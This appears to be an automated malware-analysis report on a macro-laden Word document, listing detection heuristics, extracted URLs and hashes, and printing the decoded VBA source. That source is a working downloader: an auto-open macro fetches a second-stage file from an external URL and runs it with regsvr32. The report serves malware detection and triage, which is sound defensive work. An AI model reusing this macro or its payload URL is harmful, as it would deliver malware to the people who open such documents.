Malware Insights
The sample is a malicious Office document containing VBA macros. The 'autoopen' subroutine is triggered upon opening, which then calls the 'vY' function. This function is responsible for downloading a file from the URL 'http://detayworx.com/_vsnpNgyXp84Os8Xh.php?x=MDAwMSD7k0uWF2BKCkQGuSvAXqzhVD7pPpu-mirofSGC48QkKx26TywMByaP_nQjE_2EZXGfKy_H-gb2d-aDRgRbUwBi0XgbtTnVlugs38r3vI298UWyMzmQsvid4SyXJOUkCK4dpXj6mXuT7tTBXC3_-w~~' and saving it as 'c:\programdata\1.dat'. This indicates a downloader pattern, aiming to fetch and execute a second-stage payload.
Heuristics 7
-
ClamAV: Doc.Downloader.GreenBox6-9139694-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.GreenBox6-9139694-0
-
VBA project inside OOXML medium 4 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
URLDownloadToFile in VBA critical OLE_VBA_DOWNLOADURLDownloadToFile in VBAMatched line in script
#If VBA7 And Win64 Then Public Declare PtrSafe Function vY Lib "urlmon" Alias "URLDownloadToFileA" (ByVal fG As LongPtr, ByVal qJ As String, ByVal MI As String, ByVal Kx As LongPtr, ByVal bN As LongPtr) As Long #Else -
LOLBin reference in VBA critical OLE_VBA_LOLBINLOLBin reference in VBAMatched line in script
Dim s5 As New WshShell s5.exec "regsvr32 c:\programdata\1.dat" -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Attribute VB_Name = "tm" Sub autoopen() -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://detayworx.com/_vsnpNgyXp84Os8Xh.php?x=MDAwMSD7k0uWF2BKCkQGuSvAXqzhVD7pPpu-mirofSGC48QkKx26TywMByaP_nQjE_2EZXGfKy_H-gb2d-aDRgRbUwBi0XgbtTnVlugs38r3vI298UWyMzmQsvid4SyXJOUkCK4dpXj6mXuT7tTBXC3_-w~~ Referenced by macro
- http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasReferenced by macro
- http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
- http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
- http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
- http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
- http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
- http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
- http://schemas.microsoft.com/office/word/2018/wordml/cexReferenced by macro
- http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
- http://schemas.microsoft.com/office/word/2018/wordmlReferenced by macro
- http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
- http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 2651 bytes |
SHA-256: 7bda8c5b23d4e36ce1ef376a72c241d91ee97882e216a165d30adcb1a491fa1e |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Attribute VB_Name = "tm" Sub autoopen() ' Aberdeen ' Gd hazy module pedant prospects ' Variants tuning bermuda encourages not Ok = vY(0, "http://detayworx.com/_vsnpNgyXp84Os8Xh.php?x=MDAwMSD7k0uWF2BKCkQGuSvAXqzhVD7pPpu-mirofSGC48QkKx26TywMByaP_nQjE_2EZXGfKy_H-gb2d-aDRgRbUwBi0XgbtTnVlugs38r3vI298UWyMzmQsvid4SyXJOUkCK4dpXj6mXuT7tTBXC3_-w~~", "c:\programdata\1.dat", 0, 0) ' Diplomat decoy io gage emergency nocturnal ' Prig briefs insulated ' Preceptor beverage regulations eI End Sub Attribute VB_Name = "tm1" Sub eI() ' Sensors tba sustenance northeast aureole spreading ' Ramshackle inclusive covered airfare specific twenty-second ' Solomon fp ' Bramble diagnosis til sie ' Billiard andes mass ' Rivet ' Diable subside presentable tuesday ' Showy clipped ' Declamation locally aw realistic zo ' Experiences flush ' Flags inane girt collins ' Mountains lick lime complaints durable ' Mightnt subsidiaries alliance devastation ' Untried es ' Accessing transferred waning horde appease ' Jill adverted mba ' Clinic pasta producers liz tex ' Speeds dresser lane execute eu persistence ' Crabs ' Liberated presidency ' Dross inappropriate spending undiscovered ' Function ' Worker driving ' Betrayer handled brittany gourd intense ' Perpetuate jubilation bridget overcrowded ' Obtuse coppice vi arrangement ' Abjured proposition receptor nasal ' Variability captor lovable ' Precious gnat anomaly correspondence impediment therefor yet ' Incidentally residuum ' Advisory hardihood ' Hierarchy sucker cascade intelligent ' Pantheism brigadier agreements Dim s5 As New WshShell s5.exec "regsvr32 c:\programdata\1.dat" ' Antiquarian bikes nominee ' Denudation intruder painful ' Duet emblematic posters adverbs archduke ' Supreme although crude trainer End Sub Attribute VB_Name = "u" #If VBA7 And Win64 Then Public Declare PtrSafe Function vY Lib "urlmon" Alias "URLDownloadToFileA" (ByVal fG As LongPtr, ByVal qJ As String, ByVal MI As String, ByVal Kx As LongPtr, ByVal bN As LongPtr) As Long #Else Public Declare Function vY Lib "urlmon" Alias "URLDownloadToFileA"(ByVal fG As Long, ByVal qJ As String, ByVal MI As String, ByVal Kx As Long, ByVal bN As Long) As Long #End If Function Y(go) ' Daft beguile rift counterfeit ' Iceland smuggler adolescence messages End Function |
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 20480 bytes |
SHA-256: da14481ce4cd5757c970d93de8b7423c2f57020e13f40ccb53bb6e3001277594 |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.